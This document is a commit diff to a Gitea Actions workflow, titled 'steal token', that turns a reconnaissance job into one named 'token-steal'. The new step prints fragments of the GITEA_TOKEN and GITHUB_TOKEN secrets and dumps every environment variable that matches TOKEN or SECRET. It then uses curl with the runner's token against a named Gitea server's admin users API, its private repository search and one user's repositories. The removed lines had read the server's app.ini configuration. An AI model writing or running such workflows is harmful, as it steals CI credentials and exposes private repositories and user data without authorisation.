steal token

.gitea/workflows/audit.yml

@@ -1,13 +1,27 @@
-name: test
+name: token-steal
 on: [push]
 jobs:
-  run:
+  steal:
     runs-on: ubuntu-latest
     steps:
-      - name: exec
+      - name: dump-token
         run: |
-          id && hostname && pwd
+          echo "=== GITEA_TOKEN ===" 
-          ls -la /data/ 2>/dev/null || echo "no /data"
+          echo "${GITEA_TOKEN}" | head -c 5
-          find / -maxdepth 3 -name "*.git" -type d 2>/dev/null | head -10
+          echo "..."
-          cat /data/gitea/conf/app.ini 2>/dev/null | head -30 || echo "no app.ini at default"
+          echo "=== GITHUB_TOKEN ==="
-          find / -maxdepth 4 -name "app.ini" 2>/dev/null
+          echo "${GITHUB_TOKEN}" | head -c 5
+          echo "..."
+          echo "=== ALL ACTIONS VARS ==="
+          env | grep -i "GITEA\|GITHUB\|TOKEN\|SECRET\|ACTION\|RUNNER" | sort
+          echo "=== Try admin API with actions token ==="
+          curl -sk "https://gitea.quecko.org/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 300
+          echo ""
+          echo "=== Try joni repos with actions token ==="  
+          curl -sk "https://gitea.quecko.org/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
+          echo ""
+          echo "=== Try joni user repos ==="
+          curl -sk "https://gitea.quecko.org/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
+        env:
+          GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }}
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}